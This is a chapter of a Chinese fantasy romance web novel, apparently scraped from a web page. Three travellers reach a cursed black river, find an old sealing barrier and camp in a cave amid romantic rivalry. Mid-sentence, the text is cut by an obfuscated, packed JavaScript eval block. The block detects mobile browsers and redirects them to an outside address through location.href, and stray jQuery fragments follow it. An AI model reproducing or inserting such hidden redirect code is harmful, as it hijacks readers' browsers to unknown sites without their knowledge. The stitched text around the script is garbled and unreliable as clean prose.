归昭和冷山音都是行动派,想好了就会出发,绝不会拖泥带水的磨蹭。
他找了两位主神,告诉他们他和太子妃即将出发去东海找仙人遗迹,目前他们手上的事务需要停滞一段时间。
两位主神点了头,只说仙人遗迹被三界都盯着,这件事不能做的太过明目张胆,否则会对他们造成伤害,他们会配合遮掩好他和太子妃的行程,对外只说闭关修习。
他们又清点了必要的药材,通知了宋迹。宋迹作为鬼火宫的医仙,又是归昭的多年好友,从职责上来说有义务伴随他们左右,从感情上来说有责任护友人安危,便同他们一起离开。
乌以灵和归承至做事谨慎,在归昭和冷山音离开的前一周都没有任何动静,直到后来有人来找归昭,这才用闭关为由推拒。
与此同时,乌以灵腹中,多了个孩子。
归景宸听得消息,手中捏着的茶盏转瞬间就裂了缝,锋利的瓷角割在他的手上,立马就见了血。
但他却浑然不觉,嘴角扬起难看的弧度,眼里是一片荒凉。
为什么到了如今的地步,他的两位亲生父母宁愿重开一个小号,在此刻却也想不起他。
归昭知道吗?
他在他们眼里,也不过只是太子而已。
就算他死在了仙人遗迹那,立马就会有新的太子来代替他。
所以就算归昭死了又怎么样呢?
他忽然没那么想让归昭死了。
为了保存实力应对突发情况,他们一行三人都没使用灵力赶路,只坐在一辆最普通的马车里,经过一周,才赶到了无妄河边。
亲身站在河边时,冷山音才真正感受到了来源于无妄河独特的氛围。
它的河水呈墨黑色,看不见河里有任何活着的生物,河水上方全是水汽蒸腾起来形成的浓雾,能见度极低,根本看不清河有多宽。
河面上风声呜呜作响,河水却不见流动,仿佛张着一张深渊巨口,能吞下世间万物。
冷山音用灵力卷起一个小石头,支撑它飘到那片雾气里。但还没坚持到两秒,冷山音突然觉得那石头重达千钧,她脑袋上也逐渐渗出了汗水,在风力作用下,石头却向旁边歪斜,连带着冷山音的手也向一侧歪斜过去。
石子落入水里,连点水花都没激起,墨色的河面平静的好像什么都没发生过。
冷山音没想到,无妄河比志怪里写得还要恐怖,只可惜这书本就是流传在妖族,是一些耐不住冷清的妖四处游历后记录的所见所闻,并没有问题的解法。
他们沿着河岸走了一会儿,想找找过河的线索。现下也已近暮色,今天内渡过河显然不太可能,尤其冷山音还耗了不少灵力,在找线索的同时,他们也在找能够栖身的地方。
归昭走在最靠近无妄河的一边,宋迹走在靠近岸的一边,冷山音夹在两人之间。走着走着,归昭向无妄河瞟了一眼。
这一眼就看见了不得了的东西。
乌黑的河水之下,似有什么东西涌动,那些东西想要突破这黑暗河流的桎梏,拼命向上顶,只不过那些努力只换得了归昭眼里的黑色的小鼓包。
幸得雾浓,白色背景之下,黑色的动静显得格外明显。
“等等!”归昭一把拉住冷山音:“你看这里。”
冷山音停下步子,宋迹也围过来:“怎么了?”
那黑色的小鼓包好似听见上面有人在说话,越鼓越上劲,落在三人眼里便变得更加明显。
“这是?”
冷山音从地上又捡起了一个长相十分奇特,棱角分明还扁扁的小石头,扔进了那鼓包处。那鼓包持续不断的出现,很快,就出现了一个与那小石头模样相同的片状鼓包,在一众的圆鼓包之中显得格外与众不同。
宋迹站起身,向后望了一眼,发现那处刚好有个石洞。
这石洞出现的位置实在太巧,周围的杂草被清理地干干净净,他走过去探了一会儿,才走出来招呼着归昭和冷山音:“这边有石洞!晚上我们可以住在这里!”
那石洞的洞口还放着一堆劈好了但还没用过的干柴,很奇怪,虽然它离河边很近,但它依旧非常干燥,河似乎对它一点影响都没有。
在河边正在研究鼓包的冷山音看着那鼓包,想伸手过去摸,被归昭一把抓住:“很危险,在弄清楚这是什么之前,不要对它有任何动作。”
很明显在这看不出什么来,两人走进了石洞。
宋迹坐在石洞口,向外望去,发现这位置确实别有洞天——石洞变成一个天然的外框,将外界的景切割出一部分,坐在这里,刚好可以看上一场完美的日落。
暮色霞光被浓雾化成了简单的橘色,看上去毛绒绒的,再往上,是如火如荼正被红日烧着的的火烧云。
当初创造这地方的人,定然是个流连风月的好玩之徒。
少一点心思,都凿不出来这样的石洞。
到了饭点,归昭本想借着小时候的经验,在这河边抓些活物来烤着吃。
他从洞里出来,正巧遇到一只兔子在草丛里蹦跶,他弓着身子猛地向前一扑,却扎扎实实扑在了一个石头上。
那只兔子就在他前面十几厘米的地方,感受到身后的动静后撒腿就玩儿命得跑,很快就消失在他的视线中。
归昭苦笑一声,离那段叛逆的日子太久,曾经抓兔子最厉害的他如今也生疏了。
突然,那兔子在不远处脑袋一歪断了气,随后被人用灵力拿起,塞在了他手上,他一脸意外地朝身后望去,看见宋迹慢慢走到他身边,手指尖光华涌动。
他一席白衣,衣角沾了点淤泥,却盖不住他身上出尘的气质。
“不熟悉了就多试几次,找回当初的感觉。”
归昭意外地看着他,心里明白他在说什么。
自归昭成为太子后,宋迹就被分配给了他,早年间偶尔听过归昭只言片语地说了些从前的生活。
他拼拼凑凑,联合从前闹得人尽皆知的传闻,对那段时间的归昭了解了些。
冷山音坐在山洞里,仔细回忆志怪上的内容,只恨书到用时方恨少,更恨自己从前只是草草翻了遍看了个大概,如今绞尽脑汁也很难想出来上面到底写了什么。
思索间,夜色降临,洞口的景从黄昏暮霞变成了黑夜星
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249137|197918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辰。
从洞口看出去,夜空里坠满钻石般闪着光的星星,仔细看去,那星星还勾勒出了不同的星象,听说凡间的皇宫,还专门设立了观星的职位,通过观星来预测国运走向。
冷山音不懂这些,只是把在心里画着线,将星星连在一起,变幻成不同的图案——如今靠仙人遗迹越近,她心里反倒是有种越来越不安的感觉,并且随着日子的流逝,这感觉愈发强烈起来,她需要用点别的东西,短暂的分散掉自己的注意力,从而让自己不至于太过焦虑。
没过多久,宋迹和归昭就带着三只兔子回来,将它们穿在树枝上,点燃那堆柴烤着。
归昭盯着面前滴着油的兔子:“那些东西从河上沉下去,按照今天来看的情况,那些东西并非是沉到河底……只是那河面好像有一层布一样被罩住了,它们没办法再出来。”
冷山音点点头:“对,这个东西倒是有点像禁制,有点像……有点像天网!”
顾名思义,天网这个禁制就是能网尽天下之物,凡入网之物便再也出不来的禁制,那些入网之物便在网中不死不灭,也再无去处。
“不过它如今这样子,恐怕这禁制已经有些年岁了,且很久无人修缮填补,已经有些松动。”他转动树枝,让兔子的每个面都被火焰均匀地灼烧到:“这两天我们得小心一点,万一禁制开了,我们谁都不知道这底下有什么。”
“那我们轮流守夜吧,前半夜我来,深夜归昭,后半夜宋迹。”
冷山音这话刚出一秒,另外两个人异口同声地说:“不用!”
“我前半夜,宋迹后半夜就行了,不需要你跟着一起熬,你好好休息就行。”
冷山音有些怔愣,她自认为这样的分配并不公平,推来搡去了几轮之后,她在另两人的强烈要求之下放弃抵抗,只得想着在别的什么地方多做一点。
由于今天刚刚耗费了灵力,冷山音在吃完后就沉沉睡去了,醒着的归昭和宋迹相顾无言。
归昭敏锐的觉得宋迹对冷山音的感情好像不太一般,但他的行为又挑不出什么错处来,他的心里总有些隐隐的不舒服。
宋迹此刻满腹心事,望着满天星辰思考发呆。
“你也早点睡吧,后半夜要靠你守夜。”
归昭看向宋迹,极小声的提醒他。
“嗯。”
宋迹没跟他客气,向洞里走去,找了个睁眼就能看到冷山音的地方就地靠着墙壁坐下,闭着眼假寐。
归昭坐在洞口,目光落在冷山音身上。
她自小没那么多规矩,洒脱惯了,睡姿也是如她性格一般的洒脱——盖在身上的披风被她一脚蹬得乱七八糟,手臂和腿全部暴露在空气里。
归昭无声地走过去,看着冷山音的睡颜无意识笑了笑,把她的披风给她拉了拉,盖住了她的手臂和腿。
不知是梦到了什么好吃的,梦里的冷山音砸吧砸吧嘴,抱紧了身上的披风。
归昭摸了摸她的头,把散落在她脸上的碎发放到耳后,在她的额头上轻轻落下一吻。
刚刚已经闭上双眼的宋迹此刻眯了条缝,眼神里透出的光晦暗不明。